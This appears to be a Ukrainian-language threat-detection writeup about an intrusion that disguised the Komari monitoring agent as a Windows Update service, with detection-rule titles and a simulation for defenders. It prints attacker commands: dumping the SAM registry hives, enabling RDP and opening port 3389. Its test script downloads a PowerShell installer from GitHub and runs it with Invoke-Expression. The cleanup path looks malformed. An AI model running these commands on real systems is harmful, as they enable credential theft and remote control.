Komari: Інструмент «Моніторингу», Який Не Потребував Оружі
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисник використав вкрадені облікові дані VPN, щоб отримати доступ до робочої станції Windows партнера Huntress, потім увімкнув RDP і розгорнув агент моніторингу з відкритим кодом Komari як сервіс рівня SYSTEM, замаскований під службу оновлення Windows за допомогою NSSM. Після установки агент встановив стале з’єднання WebSocket із інфраструктурою, контрольованою зловмисником, і надав функції, такі як виконання команд, доступ до терміналу та відстежуючі пінги. На практиці інструмент функціонував як легковажна платформа управління і контролю без потреби в додатковій зброї.
Розслідування
Проникнення почалося з входу в SSL VPN, що походив з 45.153.34.132, а потім з використанням Impacket’s smbexec.py для ввімкнення RDP і виконання низки віддалених команд. Розслідувачі виявили, що одноразова команда PowerShell завантажила інсталятор Komari безпосередньо з GitHub і зареєструвала його як службу Windows. Ця служба потім запустила komari-agent.exe, відкрило сесію WebSocket до сервера зловмисника і дало змогу виконувати довільні віддалені команди на хості.
Усунення
Huntress відреагував, ізолювавши скомпрометовану робочу станцію, відключивши обліковий запис користувача та зупинивши службу Komari, створену NSSM. Шкідливе з’єднання WebSocket було заблоковано, а механізм збереження вилучено із системи. Рекомендовані подальші заходи включають посилення контролю доступу VPN, моніторинг підозрілих подій створення служб, перевірку вихідної активності WebSocket і посилення безпеки RDP.
Реакція
Захисники повинні виявляти створення служби Windows з назвою Windows Update Service, яка вказує на komari-agent.exe, моніторити довгострокові вихідні з’єднання WebSocket із незнайомими хостами та повідомляти про використання інструментів Impacket, таких як smbexec.py для латерального руху. Якщо виявлено, необхідно негайно вмістити уражений кінцевий пункт, відкликати скомпрометовані облікові дані та видалити помилкову службу з середовища.
graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef process fill:#e6e6fa %% Nodes – Actions / Techniques action_initial_access[“<b>Дія</b> – <b>T1078 Дійсні Облікові Записи</b><br/><b>Опис</b>: Використання вкрадених облікових даних VPN для встановлення сесії SSLVPN та здобуття початкового доступу.”] class action_initial_access technique action_cred_dump[“<b>Дія</b> – <b>T1552.002 Незахищені Облікові Дані</b><br/><b>Опис</b>: Витяг з SAM, системного та реєстрових вуликів безпеки для отримання хешів паролів.”] class action_cred_dump technique action_enable_rdp[“<b>Дія</b> – <b>T1599 Перетин Межі Мережі</b><br/><b>Опис</b>: Зміна ключа реєстру fDenyTSConnections для ввімкнення доступу до Протоколу Віддаленого Робочого Столу.”] class action_enable_rdp technique action_firewall_rule[“<b>Дія</b> – <b>T1562.004 Порушення Захисту</b><br/><b>Опис</b>: Створення правила брандмауера з назвою Дозволити RDP, яке відкриває вхідний TCP порт 3389.”] class action_firewall_rule technique %% Nodes – Tools / Processes tool_vpn[“<b>Інструмент</b> – <b>Назва</b>: VPN Клієнт<br/><b>Призначення</b>: Підключення до корпоративної мережі через SSLVPN.”] class tool_vpn tool process_regdump[“<b>Процес</b> – <b>Команда</b>: reg save HKLM\SYSTEM\…<br/><b>Опис</b>: Витяг з SAM, системного та реєстрового вуликів безпеки.”] class process_regdump process process_reg_modify[“<b>Процес</b> – <b>Команда</b>: reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f<br/><b>Опис</b>: Ввімкнення RDP шляхом зміни реєстру.”] class process_reg_modify process process_fw_rule[“<b>Процес</b> – <b>Команда</b>: netsh advfirewall firewall add rule name=”Дозволити RDP” dir=in action=allow protocol=TCP localport=3389<br/><b>Опис</b>: Додавання правила брандмауера для дозволу вхідного трафіку RDP.”] class process_fw_rule process %% Connections action_initial_access –>|використовує| tool_vpn action_initial_access –>|веде до| action_cred_dump action_cred_dump –>|використовує| process_regdump action_cred_dump –>|веде до| action_enable_rdp action_enable_rdp –>|використовує| process_reg_modify action_enable_rdp –>|веде до| action_firewall_rule action_firewall_rule –>|використовує| process_fw_rule
Потік атаки
Виявлення
Можливі зразки командного рядка Impacket (через cmdline)
Перегляд
Можливе дистанційне виконання коду за допомогою Impacket (через cmdline)
Перегляд
Виконання файлу PowerShell у підозрілому каталозі з використанням політики обходу (через cmdline)
Перегляд
Завантаження або вивантаження через PowerShell (через cmdline)
Перегляд
Можливе затінення служб віддаленого робочого столу (через процес створення)
Перегляд
Підозрілі зміни брандмауера через CLI (через cmdline)
Перегляд
Підозрілий процес використовує URL у командному рядку (через cmdline)
Перегляд
Альтернативне віддалене управління/програмне забезпечення управління (через процес створення)
Перегляд
IOCs (HashSha256) для виявлення: Komari: “Інструмент моніторингу”, що не потребував зброї
Перегляд
IOCs (SourceIP) для виявлення: Komari: “Інструмент моніторингу”, що не потребував зброї
Перегляд
IOCs (DestinationIP) для виявлення: Komari: “Інструмент моніторингу”, що не потребував зброї
Перегляд
Виявлення виконання Impacket smbexec.py і cmd.exe через RDP [створення процесів Windows]
Перегляд
Виконання PowerShell для встановлення агента Komari [Windows PowerShell]
Перегляд
Виявлення стабільності агента Komari через службу Windows Update [Система Windows]
Перегляд
Виявлення неавторизованого доступу SSLVPN та активності після компрометації [Брандмауер]
Перегляд
Виконання моделювання
Передумова: перевірка телеметрії та базових показників повинна бути успішно пройдена.
-
Опис атаки та команди:
Противник отримав початкову точку доступу на Windows хості та хоче встановити агент Komari C2 для підтримки стабільності й пізніше витягти облікові дані (T1003.001). Щоб уникнути спрацьовування традиційних засобів блокування скриптів, він запускає PowerShell з-ExecutionPolicy Bypassі безпосередньо завантажує інсталятор з публічного репозиторію GitHub. Командний рядок точно відповідає правилу виявлення, генеруючи очікувану телеметрію. -
Тестовий скрипт регресії:
# Імітація встановлення агента Komari $url = "https://raw.githubusercontent.com/komari-monitor/komari-agent/main/install.ps1" $script = (New-Object System.Net.WebClient).DownloadString($url) Invoke-Expression $script -
Команди очищення:
# Видалення будь-яких файлів, створених симульованим інсталятором (якщо такі є) Remove-Item -Path "$Env:ProgramFilesKomari" -Recurse -Force -ErrorAction SilentlyContinue # Зупинення будь-якого процесу Komari, який міг бути запущений Get-Process -Name "Komari" -ErrorAction SilentlyContinue | Stop-Process -Force